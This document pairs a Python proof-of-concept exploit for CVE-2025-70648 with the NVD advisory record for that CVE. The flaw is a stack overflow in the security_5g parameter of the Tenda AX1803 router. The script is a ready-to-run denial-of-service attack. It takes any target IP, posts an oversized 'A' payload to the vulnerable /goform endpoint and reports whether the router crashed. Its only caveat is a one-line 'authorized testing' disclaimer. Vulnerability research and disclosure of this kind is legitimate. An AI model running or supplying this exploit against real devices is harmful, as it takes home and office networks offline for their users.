CVE-2025-70648

#!/usr/bin/env python3 """ CVE-2025-70648 PoC - Tenda AX1803 security_5g Stack Overflow This PoC demonstrates the stack overflow vulnerability in Tenda AX1803 v1.0.0.1 via the security_5g parameter in sub_727F4 function. """ import requests import sys import argparse def exploit(target_ip, target_port=80): """ Send a crafted request to trigger stack overflow in security_5g parameter Args: target_ip: Target router IP address target_port: Target router web port (default: 80) """ # Construct the target URL url = f"http://{target_ip}:{target_port}/goform/sub_727F4" # Create an oversized payload for security_5g parameter # The actual buffer size may vary, using 2000 bytes as an example overflow_payload = "A" * 2000 # Prepare the POST data with the malicious security_5g parameter data = { "security_5g": overflow_payload } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending payload with {len(overflow_payload)} bytes to security_5g parameter") print(f"[*] URL: {url}") try: # Send the malicious request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status code: {response.status_code}") # Check if the target is still responsive check_url = f"http://{target_ip}:{target_port}/" try: check_response = requests.get(check_url, timeout=5) print(f"[-] Target still responsive, DoS may require larger payload") except requests.exceptions.RequestException: print(f"[+] Target appears to be down - DoS successful!") return True except requests.exceptions.RequestException as e: print(f"[+] Request completed - {e}") print(f"[+] Target may have crashed") return True return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-70648 PoC for Tenda AX1803') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') args = parser.parse_args() print("=" * 60) print("CVE-2025-70648 - Tenda AX1803 security_5g Stack Overflow PoC") print("=" * 60) success = exploit(args.target, args.port) if success: print("\n[!] Note: This PoC is for educational and authorized testing purposes only") return 0 if __name__ == "__main__": sys.exit(main())

{"cve": {"id": "CVE-2025-70648", "sourceIdentifier": "[email protected]", "published": "2026-01-21T17:16:07.063", "lastModified": "2026-01-26T21:01:27.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow in the security_5g parameter of the sub_727F4 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX1803 v1.0.0.1 se descubrió que contenía un desbordamiento de pila en el parámetro security_5g de la función sub_727F4. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) a través de una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1803_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "B81C53EE-14CD-426B-ADF3-6D9B4D69DC84"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1803:-:*:*:*:*:*:*:*", "matchCriteriaId": "413B93A8-6188-4D89-8141-C5B73F4AA071"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1803/6/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}